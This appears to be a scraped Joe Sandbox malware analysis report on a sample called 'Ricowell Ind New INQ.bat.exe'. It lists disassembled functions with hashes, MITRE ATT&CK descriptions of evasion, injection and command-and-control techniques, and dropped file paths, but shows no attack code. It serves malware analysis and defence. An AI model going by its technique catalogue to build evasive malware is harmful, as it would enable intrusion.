Opcode ID: 0483220d2e1f7c7b9d0f9f68f2598aba5fa1a67d57915afba949b8581deff0c2
Instruction ID: 9cdce9578fc1cc25d7eefd0048b967a5473932781317b0ef581fd9f7f41c9840
Opcode Fuzzy Hash: 0483220d2e1f7c7b9d0f9f68f2598aba5fa1a67d57915afba949b8581deff0c2
Instruction Fuzzy Hash: 813138B6A00355AFFF31DF089867B2572A4AB35BB8F428166D40C67350D775AD80C692

Function 3787F8B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378DE51F

Strings

HEAP[%wZ]: , xrefs: 378DE490
HEAP: , xrefs: 378DE49D
(HeapHandle != NULL), xrefs: 378DE4A8

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3610490719
Opcode ID: c3c11d3d3612be05524be184812fead8380c51fa1dfb0ef6b011c13821343fe2
Instruction ID: cfae5d2fcf65887ada061d3445d5685a5c1fbe246dab8bebc9f1c129f1c16211
Opcode Fuzzy Hash: c3c11d3d3612be05524be184812fead8380c51fa1dfb0ef6b011c13821343fe2
Instruction Fuzzy Hash: 0B912A71304785EFE315DF29C884B2AB7A5FF64768F000559E8769B681DB38E842CB93

Function 378A0AEB Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 210timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378A0BFC

Strings

Failed to allocated memory for shimmed module list, xrefs: 378E9F1C
minkernel\ntdll\ldrinit.c, xrefs: 378E9F2E
LdrpCheckModule, xrefs: 378E9F24

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-161242083
Opcode ID: d96b64711ffd7b6b013d08229204271a819ff186593294760127f9b966af7e58
Instruction ID: 385671e84dd39b5c2891bb0a336a4a6d8782047161f990636f756e81676c48aa
Opcode Fuzzy Hash: d96b64711ffd7b6b013d08229204271a819ff186593294760127f9b966af7e58
Instruction Fuzzy Hash: 42710D74A00349EFEB04DFA8C981BAEB7F4FB58318F144569E911E7640E778AD42CB52

Function 378AEE48 Relevance: 6.3, APIs: 4, Instructions: 347COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cdd69f04541de51892852182e4fe837a33246f15086092b084b09035b6e3d54
Instruction ID: af19bd8dca9c46c60635e85a6519b74f03e86bc49059a680c56b0d8d9d705162
Opcode Fuzzy Hash: 6cdd69f04541de51892852182e4fe837a33246f15086092b084b09035b6e3d54
Instruction Fuzzy Hash: 01E11174E00708CFDBA5CFA9C980A9DBBF5FF68364F10496AE455A7620D774A841CF10

Function 3795A04A Relevance: 6.2, APIs: 4, Instructions: 170timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3795A0F7
RtlDebugPrintTimes.NTDLL ref: 3795A1AA
RtlDebugPrintTimes.NTDLL ref: 3795A1CE
RtlDebugPrintTimes.NTDLL ref: 3795A1E3

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 91af57ae5ad69e3577e57fddadd9ae595f2b708f2c7e87fe071ed9a61bb6f185
Instruction ID: 5f645b270b13859d6776b1371a678ac94532c18841957cb92d124d67a767c7a8
Opcode Fuzzy Hash: 91af57ae5ad69e3577e57fddadd9ae595f2b708f2c7e87fe071ed9a61bb6f185
Instruction Fuzzy Hash: 30517B747146229FEB18CE28C8D0A29BBF5FB8A378F10426DD506DB710DBB5AC41CB84

Function 378B7A4F Relevance: 6.1, APIs: 4, Instructions: 81timethreadCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378B7A72
BaseThreadInitThunk.KERNEL32 ref: 378B7A7C
RtlDebugPrintTimes.NTDLL ref: 378F47F8
RtlDebugPrintTimes.NTDLL ref: 378F487B

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes$BaseInitThreadThunk
String ID:
API String ID: 4281723722-0
Opcode ID: fea4cd8f88997ef21be171d416cd79a08b986581f484572711b46c2b7ab5d35a
Instruction ID: a19eccfd0f08b6a93991dd61d382af30e24937095ddebe5befcf67921da28b32
Opcode Fuzzy Hash: fea4cd8f88997ef21be171d416cd79a08b986581f484572711b46c2b7ab5d35a
Instruction Fuzzy Hash: C6313275E44258DFDB04CFA8E885A9EBBF0EB48724F10462AE521B7390CB395901CF50

Function 378858E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

@, xrefs: 378E08AE

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 8c456156358956e6af803b004ae86c7e00e4b5e0fec0912e15bfb731b4ed4707
Instruction ID: f049ad5dbfa4f2da8fd258e03b3b2d2c5df4a2c58595320b0be6f1299fc98caa
Opcode Fuzzy Hash: 8c456156358956e6af803b004ae86c7e00e4b5e0fec0912e15bfb731b4ed4707
Instruction Fuzzy Hash: D2325674D01369EFEB21CF68C884BE9BBB4BB29314F0041E9D459A7641DB74AA84CF91

Function 378B4B79 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

0, xrefs: 378B4BE3
Flst, xrefs: 378B4BB6

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 014b2a70fa3b006e3799af8ecbe4cc6cdf0f0fce6ca411165510eaefa6281098
Instruction ID: 2f9c72c778352a634dbf393dd53719f1564059a0044d1a110cc821c241a951ef
Opcode Fuzzy Hash: 014b2a70fa3b006e3799af8ecbe4cc6cdf0f0fce6ca411165510eaefa6281098
Instruction Fuzzy Hash: 4651BEB5E00248CFEF24CF99D89575DFBF4EF64BA4F24812AD0499B640EB719985CB80

Function 3787DF21 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3787DFE0

Strings

0, xrefs: 3787DFAB
0, xrefs: 3787DFC0

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: 0$0
API String ID: 3446177414-203156872
Opcode ID: a00da2fe896090d6551f93a0089f896d37ad9e3f9beece1085cede3971a26486
Instruction ID: 65c85a27a09305db719c4f9adca24fe7dbb07d2f3b14b78eaac475785f9ac464
Opcode Fuzzy Hash: a00da2fe896090d6551f93a0089f896d37ad9e3f9beece1085cede3971a26486
Instruction Fuzzy Hash: 44415CB56087459FD300CF28C484A5ABBE4BF99358F044A6EF589EB340D771EA05CF96

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Ricowell Ind New INQ.bat.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Commissionary.Und

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Praksissernes.kra

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\Stewart.Min

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\dev.med

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\hverdagsagtiges.afh

C:\Users\user\AppData\Local\Rhabdophora\frysere\turnpike\stenhuggeriernes.txt

C:\Users\user\AppData\Local\Temp\nsbF66E.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nscF92F.tmp

C:\Users\user\AppData\Local\Temp\nseF1F8.tmp

C:\Users\user\AppData\Local\Temp\nsfD2.tmp

C:\Users\user\AppData\Local\Temp\nsoFD66.tmp

C:\Users\user\AppData\Local\Temp\nsqF67E.tmp

C:\Users\user\AppData\Local\Temp\nsyE489.tmp

C:\Users\Public\Videos\Besiddetrang.lnk

Static File Info

Windows Analysis Report
Ricowell Ind New INQ.bat.exe

Function 00403217 Relevance: 77.3, APIs: 27, Strings: 17, Instructions: 337
stringfilecomCOMMON

Function 0040515D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405D58 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 199
stringCOMMON

Function 004055F6 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00403B19 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 00403787 Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 216
stringregistrylibraryCOMMON

Function 00402C79 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 0040173F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 0040501F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 0040231C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58
COMMON